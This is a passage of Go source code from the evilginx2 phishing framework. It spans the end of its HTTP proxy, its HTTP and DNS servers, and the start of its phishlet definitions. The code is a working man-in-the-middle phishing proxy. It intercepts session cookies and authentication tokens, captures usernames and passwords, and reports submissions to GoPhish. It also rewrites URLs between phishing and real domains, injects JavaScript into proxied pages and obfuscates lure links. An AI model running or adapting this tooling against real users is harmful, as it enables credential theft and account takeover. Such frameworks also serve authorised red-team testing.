						if au.MatchString(resp.Request.URL.Path) {
							err := p.db.SetSessionCookieTokens(ps.SessionId, s.CookieTokens)
							if err != nil {
								log.Error("database: %v", err)
							}
							err = p.db.SetSessionBodyTokens(ps.SessionId, s.BodyTokens)
							if err != nil {
								log.Error("database: %v", err)
							}
							err = p.db.SetSessionHttpTokens(ps.SessionId, s.HttpTokens)
							if err != nil {
								log.Error("database: %v", err)
							}
							if err == nil {
								log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path)
							}

							if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
								rid, ok := s.Params["rid"]
								if ok && rid != "" {
									p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
									err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
									if err != nil {
										log.Error("gophish: %s", err)
									}
								}
							}
							break
						}
					}
				}
			}

			if stringExists(mime, []string{"text/html", "application/javascript", "text/javascript", "application/json"}) {
				resp.Header.Set("Cache-Control", "no-cache, no-store")
			}

			if pl != nil && ps.SessionId != "" {
				s, ok := p.sessions[ps.SessionId]
				if ok && s.IsDone {
					if s.RedirectURL != "" && s.RedirectCount == 0 {
						if stringExists(mime, []string{"text/html"}) && resp.StatusCode == 200 && len(body) > 0 && (strings.Index(string(body), "</head>") >= 0 || strings.Index(string(body), "</body>") >= 0) {
							// redirect only if received response content is of `text/html` content type
							s.RedirectCount += 1
							log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount)

							_, resp := p.javascriptRedirect(resp.Request, s.RedirectURL)
							return resp
						}
					}
				}
			}

			return resp
		})

	goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA()}
	goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA()}
	goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA()}
	goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA()}

	return p, nil
}

func (p *HttpProxy) waitForRedirectUrl(session_id string) (string, bool) {

	s, ok := p.sessions[session_id]
	if ok {

		if s.IsDone {
			return s.RedirectURL, true
		}

		ticker := time.NewTicker(30 * time.Second)
		select {
		case <-ticker.C:
			break
		case <-s.DoneSignal:
			return s.RedirectURL, true
		}
	}
	return "", false
}

func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
	var redirect_url string
	if pl := p.getPhishletByPhishHost(req.Host); pl != nil {
		redirect_url = p.cfg.PhishletConfig(pl.Name).UnauthUrl
	}
	if redirect_url == "" && len(p.cfg.general.UnauthUrl) > 0 {
		redirect_url = p.cfg.general.UnauthUrl
	}

	if redirect_url != "" {
		return p.javascriptRedirect(req, redirect_url)
	} else {
		resp := goproxy.NewResponse(req, "text/html", http.StatusForbidden, "")
		if resp != nil {
			return req, resp
		}
	}
	return req, nil
}

func (p *HttpProxy) trackerImage(req *http.Request) (*http.Request, *http.Response) {
	resp := goproxy.NewResponse(req, "image/png", http.StatusOK, "")
	if resp != nil {
		return req, resp
	}
	return req, nil
}

func (p *HttpProxy) interceptRequest(req *http.Request, http_status int, body string, mime string) (*http.Request, *http.Response) {
	if mime == "" {
		mime = "text/plain"
	}
	resp := goproxy.NewResponse(req, mime, http_status, body)
	if resp != nil {
		origin := req.Header.Get("Origin")
		if origin != "" {
			resp.Header.Set("Access-Control-Allow-Origin", origin)
		}
		return req, resp
	}
	return req, nil
}

func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Request, *http.Response) {
	body := fmt.Sprintf("<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='%s';</script></head><body></body></html>", rurl)
	resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
	if resp != nil {
		return req, resp
	}
	return req, nil
}

func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string, src_url string) []byte {
	js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
	m_nonce := js_nonce_re.FindStringSubmatch(string(body))
	js_nonce := ""
	if m_nonce != nil {
		js_nonce = " nonce=\"" + m_nonce[1] + "\""
	}
	re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
	var d_inject string
	if script != "" {
		d_inject = "<script" + js_nonce + ">" + script + "</script>\n${1}"
	} else if src_url != "" {
		d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
	} else {
		return body
	}
	ret := []byte(re.ReplaceAllString(string(body), d_inject))
	return ret
}

func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
	vals := u.Query()
	for _, v := range vals {
		dec, err := base64.RawURLEncoding.DecodeString(v[0])
		if err == nil && len(dec) == 5 {
			var crc byte = 0
			for _, b := range dec[1:] {
				crc += b
			}
			if crc == dec[0] {
				return true
			}
		}
	}
	return false
}

func (p *HttpProxy) extractParams(session *Session, u *url.URL) bool {
	var ret bool = false
	vals := u.Query()

	var enc_key string

	for _, v := range vals {
		if len(v[0]) > 8 {
			enc_key = v[0][:8]
			enc_vals, err := base64.RawURLEncoding.DecodeString(v[0][8:])
			if err == nil {
				dec_params := make([]byte, len(enc_vals)-1)

				var crc byte = enc_vals[0]
				c, _ := rc4.NewCipher([]byte(enc_key))
				c.XORKeyStream(dec_params, enc_vals[1:])

				var crc_chk byte
				for _, c := range dec_params {
					crc_chk += byte(c)
				}

				if crc == crc_chk {
					params, err := url.ParseQuery(string(dec_params))
					if err == nil {
						for kk, vv := range params {
							log.Debug("param: %s='%s'", kk, vv[0])

							session.Params[kk] = vv[0]
						}
						ret = true
						break
					}
				} else {
					log.Warning("lure parameter checksum doesn't match - the phishing url may be corrupted: %s", v[0])
				}
			} else {
				log.Debug("extractParams: %s", err)
			}
		}
	}
	/*
		for k, v := range vals {
			if len(k) == 2 {
				// possible rc4 encryption key
				if len(v[0]) == 8 {
					enc_key = v[0]
					break
				}
			}
		}

		if len(enc_key) > 0 {
			for k, v := range vals {
				if len(k) == 3 {
					enc_vals, err := base64.RawURLEncoding.DecodeString(v[0])
					if err == nil {
						dec_params := make([]byte, len(enc_vals))

						c, _ := rc4.NewCipher([]byte(enc_key))
						c.XORKeyStream(dec_params, enc_vals)

						params, err := url.ParseQuery(string(dec_params))
						if err == nil {
							for kk, vv := range params {
								log.Debug("param: %s='%s'", kk, vv[0])

								session.Params[kk] = vv[0]
							}
							ret = true
							break
						}
					}
				}
			}
		}*/
	return ret
}

func (p *HttpProxy) replaceHtmlParams(body string, lure_url string, params *map[string]string) string {

	// generate forwarder parameter
	t := make([]byte, 5)
	rand.Read(t[1:])
	var crc byte = 0
	for _, b := range t[1:] {
		crc += b
	}
	t[0] = crc
	fwd_param := base64.RawURLEncoding.EncodeToString(t)

	lure_url += "?" + strings.ToLower(GenRandomString(1)) + "=" + fwd_param

	for k, v := range *params {
		key := "{" + k + "}"
		body = strings.Replace(body, key, html.EscapeString(v), -1)
	}
	var js_url string
	n := 0
	for n < len(lure_url) {
		t := make([]byte, 1)
		rand.Read(t)
		rn := int(t[0])%3 + 1

		if rn+n > len(lure_url) {
			rn = len(lure_url) - n
		}

		if n > 0 {
			js_url += " + "
		}
		js_url += "'" + lure_url[n:n+rn] + "'"

		n += rn
	}

	body = strings.Replace(body, "{lure_url_html}", lure_url, -1)
	body = strings.Replace(body, "{lure_url_js}", js_url, -1)

	return body
}

func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
	re_url := MATCH_URL_REGEXP
	re_ns_url := MATCH_URL_REGEXP_WITHOUT_SCHEME

	if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok {
		var sub_map map[string]string = make(map[string]string)
		var hosts []string
		for _, ph := range pl.proxyHosts {
			var h string
			if c_type == CONVERT_TO_ORIGINAL_URLS {
				h = combineHost(ph.phish_subdomain, phishDomain)
				sub_map[h] = combineHost(ph.orig_subdomain, ph.domain)
			} else {
				h = combineHost(ph.orig_subdomain, ph.domain)
				sub_map[h] = combineHost(ph.phish_subdomain, phishDomain)
			}
			hosts = append(hosts, h)
		}
		// make sure that we start replacing strings from longest to shortest
		sort.Slice(hosts, func(i, j int) bool {
			return len(hosts[i]) > len(hosts[j])
		})

		body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
			u, err := url.Parse(s_url)
			if err == nil {
				for _, h := range hosts {
					if strings.ToLower(u.Host) == h {
						s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
						break
					}
				}
			}
			return s_url
		}))
		body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
			for _, h := range hosts {
				if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
					s_url = strings.Replace(s_url, h, sub_map[h], 1)
					break
				}
			}
			return s_url
		}))
	}
	return body
}

func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
	return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
		parts := strings.SplitN(host, ":", 2)
		hostname := parts[0]
		port := 443
		if len(parts) == 2 {
			port, _ = strconv.Atoi(parts[1])
		}

		tls_cfg := &tls.Config{}
		if !p.developer {

			tls_cfg.GetCertificate = p.crt_db.magic.GetCertificate
			tls_cfg.NextProtos = []string{"http/1.1", tlsalpn01.ACMETLS1Protocol} //append(tls_cfg.NextProtos, tlsalpn01.ACMETLS1Protocol)

			return tls_cfg, nil
		} else {
			var ok bool
			phish_host := ""
			if !p.cfg.IsLureHostnameValid(hostname) {
				phish_host, ok = p.replaceHostWithPhished(hostname)
				if !ok {
					log.Debug("phishing hostname not found: %s", hostname)
					return nil, fmt.Errorf("phishing hostname not found")
				}
			}

			cert, err := p.crt_db.getSelfSignedCertificate(hostname, phish_host, port)
			if err != nil {
				log.Error("http_proxy: %s", err)
				return nil, err
			}
			return &tls.Config{
				InsecureSkipVerify: true,
				Certificates:       []tls.Certificate{*cert},
			}, nil
		}
	}
}

func (p *HttpProxy) setSessionUsername(sid string, username string) {
	if sid == "" {
		return
	}
	s, ok := p.sessions[sid]
	if ok {
		s.SetUsername(username)
	}
}

func (p *HttpProxy) setSessionPassword(sid string, password string) {
	if sid == "" {
		return
	}
	s, ok := p.sessions[sid]
	if ok {
		s.SetPassword(password)
	}
}

func (p *HttpProxy) setSessionCustom(sid string, name string, value string) {
	if sid == "" {
		return
	}
	s, ok := p.sessions[sid]
	if ok {
		s.SetCustom(name, value)
	}
}

func (p *HttpProxy) httpsWorker() {
	var err error

	p.sniListener, err = net.Listen("tcp", p.Server.Addr)
	if err != nil {
		log.Fatal("%s", err)
		return
	}

	p.isRunning = true
	for p.isRunning {
		c, err := p.sniListener.Accept()
		if err != nil {
			log.Error("Error accepting connection: %s", err)
			continue
		}

		go func(c net.Conn) {
			now := time.Now()
			c.SetReadDeadline(now.Add(httpReadTimeout))
			c.SetWriteDeadline(now.Add(httpWriteTimeout))

			tlsConn, err := vhost.TLS(c)
			if err != nil {
				return
			}

			hostname := tlsConn.Host()
			if hostname == "" {
				return
			}

			if !p.cfg.IsActiveHostname(hostname) {
				log.Debug("hostname unsupported: %s", hostname)
				return
			}

			hostname, _ = p.replaceHostWithOriginal(hostname)

			req := &http.Request{
				Method: "CONNECT",
				URL: &url.URL{
					Opaque: hostname,
					Host:   net.JoinHostPort(hostname, "443"),
				},
				Host:       hostname,
				Header:     make(http.Header),
				RemoteAddr: c.RemoteAddr().String(),
			}
			resp := dumbResponseWriter{tlsConn}
			p.Proxy.ServeHTTP(resp, req)
		}(c)
	}
}

func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.orig_subdomain, ph.domain) {
					return pl
				}
			}
		}
	}
	return nil
}

func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return pl
				}
			}
		}
	}

	for _, l := range p.cfg.lures {
		if l.Hostname == hostname {
			if p.cfg.IsSiteEnabled(l.Phishlet) {
				pl, err := p.cfg.GetPhishlet(l.Phishlet)
				if err == nil {
					return pl
				}
			}
		}
	}

	return nil
}

func (p *HttpProxy) replaceHostWithOriginal(hostname string) (string, bool) {
	if hostname == "" {
		return hostname, false
	}
	prefix := ""
	if hostname[0] == '.' {
		prefix = "."
		hostname = hostname[1:]
	}
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return prefix + combineHost(ph.orig_subdomain, ph.domain), true
				}
			}
		}
	}
	return hostname, false
}

func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
	if hostname == "" {
		return hostname, false
	}
	prefix := ""
	if hostname[0] == '.' {
		prefix = "."
		hostname = hostname[1:]
	}
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.orig_subdomain, ph.domain) {
					return prefix + combineHost(ph.phish_subdomain, phishDomain), true
				}
				if hostname == ph.domain {
					return prefix + phishDomain, true
				}
			}
		}
	}
	return hostname, false
}

func (p *HttpProxy) replaceUrlWithPhished(u string) (string, bool) {
	r_url, err := url.Parse(u)
	if err == nil {
		if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
			r_url.Host = r_host
			return r_url.String(), true
		}
	}
	return u, false
}

func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return phishDomain, true
				}
			}
		}
	}

	for _, l := range p.cfg.lures {
		if l.Hostname == hostname {
			if p.cfg.IsSiteEnabled(l.Phishlet) {
				phishDomain, ok := p.cfg.GetSiteDomain(l.Phishlet)
				if ok {
					return phishDomain, true
				}
			}
		}
	}

	return "", false
}

func (p *HttpProxy) getHomeDir() string {
	return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}

func (p *HttpProxy) getPhishSub(hostname string) (string, bool) {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return ph.phish_subdomain, true
				}
			}
		}
	}
	return "", false
}

func (p *HttpProxy) handleSession(hostname string) bool {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return true
				}
			}
		}
	}

	for _, l := range p.cfg.lures {
		if l.Hostname == hostname {
			if p.cfg.IsSiteEnabled(l.Phishlet) {
				return true
			}
		}
	}

	return false
}

func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte {
	if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
		head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
		var og_inject string
		og_format := "<meta property=\"%s\" content=\"%s\" />\n"
		if l.OgTitle != "" {
			og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
		}
		if l.OgDescription != "" {
			og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
		}
		if l.OgImageUrl != "" {
			og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
		}
		if l.OgUrl != "" {
			og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
		}

		body = []byte(head_re.ReplaceAllString(string(body), "<head>\n"+og_inject))
	}
	return body
}

func (p *HttpProxy) Start() error {
	go p.httpsWorker()
	return nil
}

func (p *HttpProxy) whitelistIP(ip_addr string, sid string, pl_name string) {
	p.ip_mtx.Lock()
	defer p.ip_mtx.Unlock()

	log.Debug("whitelistIP: %s %s", ip_addr, sid)
	p.ip_whitelist[ip_addr+"-"+pl_name] = time.Now().Add(10 * time.Minute).Unix()
	p.ip_sids[ip_addr+"-"+pl_name] = sid
}

func (p *HttpProxy) isWhitelistedIP(ip_addr string, pl_name string) bool {
	p.ip_mtx.Lock()
	defer p.ip_mtx.Unlock()

	log.Debug("isWhitelistIP: %s", ip_addr+"-"+pl_name)
	ct := time.Now()
	if ip_t, ok := p.ip_whitelist[ip_addr+"-"+pl_name]; ok {
		et := time.Unix(ip_t, 0)
		return ct.Before(et)
	}
	return false
}

func (p *HttpProxy) getSessionIdByIP(ip_addr string, hostname string) (string, bool) {
	p.ip_mtx.Lock()
	defer p.ip_mtx.Unlock()

	pl := p.getPhishletByPhishHost(hostname)
	if pl != nil {
		sid, ok := p.ip_sids[ip_addr+"-"+pl.Name]
		return sid, ok
	}
	return "", false
}

func (p *HttpProxy) setProxy(enabled bool, ptype string, address string, port int, username string, password string) error {
	if enabled {
		ptypes := []string{"http", "https", "socks5", "socks5h"}
		if !stringExists(ptype, ptypes) {
			return fmt.Errorf("invalid proxy type selected")
		}
		if len(address) == 0 {
			return fmt.Errorf("proxy address can't be empty")
		}
		if port == 0 {
			return fmt.Errorf("proxy port can't be 0")
		}

		u := url.URL{
			Scheme: ptype,
			Host:   address + ":" + strconv.Itoa(port),
		}

		if strings.HasPrefix(ptype, "http") {
			var dproxy *http_dialer.HttpTunnel
			if username != "" {
				dproxy = http_dialer.New(&u, http_dialer.WithProxyAuth(http_dialer.AuthBasic(username, password)))
			} else {
				dproxy = http_dialer.New(&u)
			}
			p.Proxy.Tr.Dial = dproxy.Dial
		} else {
			if username != "" {
				u.User = url.UserPassword(username, password)
			}

			dproxy, err := proxy.FromURL(&u, nil)
			if err != nil {
				return err
			}
			p.Proxy.Tr.Dial = dproxy.Dial
		}
	} else {
		p.Proxy.Tr.Dial = nil
	}
	return nil
}

type dumbResponseWriter struct {
	net.Conn
}

func (dumb dumbResponseWriter) Header() http.Header {
	panic("Header() should not be called on this ResponseWriter")
}

func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
	if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
		return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request
	}
	return dumb.Conn.Write(buf)
}

func (dumb dumbResponseWriter) WriteHeader(code int) {
	panic("WriteHeader() should not be called on this ResponseWriter")
}

func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
	return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
}

func orPanic(err error) {
	if err != nil {
		panic(err)
	}
}

func getContentType(path string, data []byte) string {
	switch filepath.Ext(path) {
	case ".css":
		return "text/css"
	case ".js":
		return "application/javascript"
	case ".svg":
		return "image/svg+xml"
	}
	return http.DetectContentType(data)
}

func getSessionCookieName(pl_name string, cookie_name string) string {
	hash := sha256.Sum256([]byte(pl_name + "-" + cookie_name))
	s_hash := fmt.Sprintf("%x", hash[:4])
	s_hash = s_hash[:4] + "-" + s_hash[4:]
	return s_hash
}


================================================
FILE: core/http_server.go
================================================
package core

import (
	"github.com/gorilla/mux"
	"net/http"
	"time"

	"github.com/kgretzky/evilginx2/log"
)

type HttpServer struct {
	srv        *http.Server
	acmeTokens map[string]string
}

func NewHttpServer() (*HttpServer, error) {
	s := &HttpServer{}
	s.acmeTokens = make(map[string]string)

	r := mux.NewRouter()
	s.srv = &http.Server{
		Handler:      r,
		Addr:         ":80",
		WriteTimeout: 15 * time.Second,
		ReadTimeout:  15 * time.Second,
	}

	r.HandleFunc("/.well-known/acme-challenge/{token}", s.handleACMEChallenge).Methods("GET")
	r.PathPrefix("/").HandlerFunc(s.handleRedirect)

	return s, nil
}

func (s *HttpServer) Start() {
	go s.srv.ListenAndServe()
}

func (s *HttpServer) AddACMEToken(token string, keyAuth string) {
	s.acmeTokens[token] = keyAuth
}

func (s *HttpServer) ClearACMETokens() {
	s.acmeTokens = make(map[string]string)
}

func (s *HttpServer) handleACMEChallenge(w http.ResponseWriter, r *http.Request) {
	vars := mux.Vars(r)
	token := vars["token"]

	key, ok := s.acmeTokens[token]
	if !ok {
		w.WriteHeader(http.StatusNotFound)
		return
	}

	log.Debug("http: found ACME verification token for URL: %s", r.URL.Path)
	w.WriteHeader(http.StatusOK)
	w.Header().Set("content-type", "text/plain")
	w.Write([]byte(key))
}

func (s *HttpServer) handleRedirect(w http.ResponseWriter, r *http.Request) {
	http.Redirect(w, r, "https://"+r.Host+r.URL.String(), http.StatusFound)
}


================================================
FILE: core/nameserver.go
================================================
package core

import (
	"context"
	"fmt"
	"net"
	"strconv"
	"strings"
	"time"

	"github.com/miekg/dns"

	"github.com/kgretzky/evilginx2/log"
)

type Nameserver struct {
	srv    *dns.Server
	cfg    *Config
	bind   string
	serial uint32
	ctx    context.Context
}

func NewNameserver(cfg *Config) (*Nameserver, error) {
	o := &Nameserver{
		serial: uint32(time.Now().Unix()),
		cfg:    cfg,
		bind:   fmt.Sprintf("%s:%d", cfg.GetServerBindIP(), cfg.GetDnsPort()),
		ctx:    context.Background(),
	}

	o.Reset()

	return o, nil
}

func (o *Nameserver) Reset() {
	dns.HandleFunc(pdom(o.cfg.general.Domain), o.handleRequest)
}

func (o *Nameserver) Start() {
	go func() {
		o.srv = &dns.Server{Addr: o.bind, Net: "udp"}
		if err := o.srv.ListenAndServe(); err != nil {
			log.Fatal("Failed to start nameserver on: %s", o.bind)
		}
	}()
}

func (o *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
	m := new(dns.Msg)
	m.SetReply(r)

	if o.cfg.general.Domain == "" || o.cfg.general.ExternalIpv4 == "" {
		return
	}

	soa := &dns.SOA{
		Hdr:     dns.RR_Header{Name: pdom(o.cfg.general.Domain), Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 300},
		Ns:      "ns1." + pdom(o.cfg.general.Domain),
		Mbox:    "hostmaster." + pdom(o.cfg.general.Domain),
		Serial:  o.serial,
		Refresh: 900,
		Retry:   900,
		Expire:  1800,
		Minttl:  60,
	}
	m.Ns = []dns.RR{soa}

	fqdn := strings.ToLower(r.Question[0].Name)

	switch r.Question[0].Qtype {
	case dns.TypeSOA:
		log.Debug("DNS SOA: " + fqdn)
		m.Answer = append(m.Answer, soa)
	case dns.TypeA:
		log.Debug("DNS A: " + fqdn + " = " + o.cfg.general.ExternalIpv4)
		rr := &dns.A{
			Hdr: dns.RR_Header{Name: fqdn, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
			A:   net.ParseIP(o.cfg.general.ExternalIpv4),
		}
		m.Answer = append(m.Answer, rr)
	case dns.TypeNS:
		log.Debug("DNS NS: " + fqdn)
		if fqdn == pdom(o.cfg.general.Domain) {
			for _, i := range []int{1, 2} {
				rr := &dns.NS{
					Hdr: dns.RR_Header{Name: pdom(o.cfg.general.Domain), Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 300},
					Ns:  "ns" + strconv.Itoa(i) + "." + pdom(o.cfg.general.Domain),
				}
				m.Answer = append(m.Answer, rr)
			}
		}
	}
	w.WriteMsg(m)
}

func pdom(domain string) string {
	return domain + "."
}


================================================
FILE: core/phishlet.go
================================================
package core

import (
	"fmt"
	"regexp"
	"strconv"
	"strings"

	"github.com/kgretzky/evilginx2/log"
	"github.com/spf13/viper"
)

var AUTH_TOKEN_TYPES = []string{"cookie", "body", "http"}

type ProxyHost struct {
	phish_subdomain string
	orig_subdomain  string
	domain          string
	handle_session  bool
	is_landing      bool
	auto_filter     bool
}

type SubFilter struct {
	subdomain     string
	domain        string
	mime          []string
	regexp        string
	replace       string
	redirect_only bool
	with_params   []string
}

type CookieAuthToken struct {
	domain    string
	name      string
	re        *regexp.Regexp
	http_only bool
	optional  bool
	always    bool
}

type BodyAuthToken struct {
	domain string
	path   *regexp.Regexp
	name   string
	search *regexp.Regexp
}

type HttpAuthToken struct {
	domain string
	path   *regexp.Regexp
	name   string
	header string
}

type PhishletVersion struct {
	major int
	minor int
	build int
}

type PostField struct {
	tp     string
	key_s  string
	key    *regexp.Regexp
	search *regexp.Regexp
}

type ForcePostSearch struct {
	key    *regexp.Regexp `mapstructure:"key"`
	search *regexp.Regexp `mapstructure:"search"`
}

type ForcePostForce struct {
	key   string `mapstructure:"key"`
	value string `mapstructure:"value"`
}

type ForcePost struct {
	path   *regexp.Regexp    `mapstructure:"path"`
	search []ForcePostSearch `mapstructure:"search"`
	force  []ForcePostForce  `mapstructure:"force"`
	tp     string            `mapstructure:"type"`
}

type LoginUrl struct {
	domain string `mapstructure:"domain"`
	path   string `mapstructure:"path"`
}

type JsInject struct {
	id              string           `mapstructure:"id"`
	trigger_domains []string         `mapstructure:"trigger_domains"`
	trigger_paths   []*regexp.Regexp `mapstructure:"trigger_paths"`
	trigger_params  []string         `mapstructure:"trigger_params"`
	script          string           `mapstructure:"script"`
}

type Intercept struct {
	domain      string         `mapstructure:"domain"`
	path        *regexp.Regexp `mapstructure:"path"`
	http_status int            `mapstructure:"http_status"`
	body        string         `mapstructure:"body"`
	mime        string         `mapstructure:"mime"`
}

type Phishlet struct {
	Name             string
	ParentName       string
	Path             string
	Author           string
	Version          PhishletVersion
	RedirectUrl      string
	minVersion       string
	proxyHosts       []ProxyHost
	domains          []string
	subfilters       map[string][]SubFilter
	cookieAuthTokens map[string][]*CookieAuthToken
	bodyAuthTokens   map[string]*BodyAuthToken
	httpAuthTokens   map[string]*HttpAuthToken
	authUrls         []*regexp.Regexp
	username         PostField
	password         PostField
	landing_path     []string
	cfg              *Config
	custom           []PostField
	forcePost        []ForcePost
	login            LoginUrl
	js_inject        []JsInject
	intercept        []Intercept
	customParams     map[string]string
	isTemplate       bool
}

type ConfigParam struct {
	Name     string  `mapstructure:"name"`
	Default  *string `mapstructure:"default"`
	Required *bool   `mapstructure:"required"`
}

type ConfigProxyHost struct {
	PhishSub   *string `mapstructure:"phish_sub"`
	OrigSub    *string `mapstructure:"orig_sub"`
	Domain     *string `mapstructure:"domain"`
	Session    bool    `mapstructure:"session"`
	IsLanding  bool    `mapstructure:"is_landing"`
	AutoFilter *bool   `mapstructure:"auto_filter"`
}

type ConfigSubFilter struct {
	Hostname     *string   `mapstructure:"triggers_on"`
	Sub          *string   `mapstructure:"orig_sub"`
	Domain       *string   `mapstructure:"domain"`
	Search       *string   `mapstructure:"search"`
	Replace      *string   `mapstructure:"replace"`
	Mimes        *[]string `mapstructure:"mimes"`
	RedirectOnly bool      `mapstructure:"redirect_only"`
	WithParams   *[]string `mapstructure:"with_params"`
}

type ConfigAuthToken struct {
	Domain *string   `mapstructure:"domain"`
	Keys   *[]string `mapstructure:"keys"`
	Type   *string   `mapstructure:"type"`
	Path   *string   `mapstructure:"path"`
	Name   *string   `mapstructure:"name"`
	Search *string   `mapstructure:"search"`
	Header *string   `mapstructure:"header"`
}

type ConfigPostField struct {
	Key    *string `mapstructure:"key"`
	Search *string `mapstructure:"search"`
	Type   string  `mapstructure:"type"`
}

type ConfigCredentials struct {
	Username *ConfigPostField   `mapstructure:"username"`
	Password *ConfigPostField   `mapstructure:"password"`
	Custom   *[]ConfigPostField `mapstructure:"custom"`
}

type ConfigForcePostSearch struct {
	Key    *string `mapstructure:"key"`
	Search *string `mapstructure:"search"`
}

type ConfigForcePostForce struct {
	Key   *string `mapstructure:"key"`
	Value *string `mapstructure:"value"`
}

type ConfigForcePost struct {
	Path   *string                  `mapstructure:"path"`
	Search *[]ConfigForcePostSearch `mapstructure:"search"`
	Force  *[]ConfigForcePostForce  `mapstructure:"force"`
	Type   *string                  `mapstructure:"type"`
}

type ConfigLogin struct {
	Domain *string `mapstructure:"domain"`
	Path   *string `mapstructure:"path"`
}

type ConfigJsInject struct {
	TriggerDomains *[]string `mapstructure:"trigger_domains"`
	TriggerPaths   *[]string `mapstructure:"trigger_paths"`
	TriggerParams  []string  `mapstructure:"trigger_params"`
	Script         *string   `mapstructure:"script"`
}

type ConfigIntercept struct {
	Domain     *string `mapstructure:"domain"`
	Path       *string `mapstructure:"path"`
	HttpStatus *int    `mapstructure:"http_status"`
	Body       *string `mapstructure:"body"`
	Mime       *string `mapstructure:"mime"`
}

type ConfigPhishlet struct {
	Name        string             `mapstructure:"name"`
	RedirectUrl string             `mapstructure:"redirect_url"`
	Params      *[]ConfigParam     `mapstructure:"params"`
	ProxyHosts  *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
	SubFilters  *[]ConfigSubFilter `mapstructure:"sub_filters"`
	AuthTokens  *[]ConfigAuthToken `mapstructure:"auth_tokens"`
	AuthUrls    []string           `mapstructure:"auth_urls"`
	Credentials *ConfigCredentials `mapstructure:"credentials"`
